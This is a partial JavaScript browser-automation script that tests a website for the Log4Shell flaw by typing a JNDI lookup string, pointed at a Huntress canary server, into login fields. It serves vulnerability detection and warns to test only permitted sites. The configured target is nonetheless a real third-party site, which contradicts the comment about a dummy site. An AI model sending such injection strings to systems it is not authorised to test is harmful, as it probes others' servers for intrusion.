//

// Change this to the site you wish to test against

// As mentioned on huntress Log4Shell, a negative test does 

// NOT mean that your site is not vulnerable.

//

// While this script is meant to be generic, you can modify

// it to be specific to your login page manually if needed.

//

// See: https://log4shell.huntress.com/

//

// Note this script was last updated : 14th Dec 2021

//

​

// !!! MODIFY THE SITE URL HERE (phptravels, is a dummy testing site)

let testSite = "https://glints.com/sg"

​

//------------------------------------------------------------------------

​

TEST.log.info("DISCLAIMER: Your site is not guranteed to be safe, if this test passes, it only means you are definately vunerable if it fails - see : https://log4shell.huntress.com/ for more info.")

TEST.log.info("This test snippet/test function should ONLY be used against sites you are permitted to test against")

​

// Function which helps make this test, easily reusable across multiple URLSS

function testWebsiteForLog4Shell(testURL) {

  // Lets get the log4shell test token

  I.goTo("https://log4shell.huntress.com/")

  let log4shell_id = I.getText("/html/body/main/div/p[5]/code")

  let log4shell_str =  "${jndi:ldap://log4shell.huntress.com:1389/"+log4shell_id+"}";

  TEST.log.info("Log4Shell Test ID: "+log4shell_id)

​

  // Lets go to the target site, and test it

  I.goTo(testURL)

  //------------------------------------------------------------------------

​

  //--------------------------

  // Use and modify this login script specific to your site use case

  // if the automatic one does not work

  //--------------------------

  // I.fill("Username", log4shell_str);

  // I.fill("Password", log4shell_str);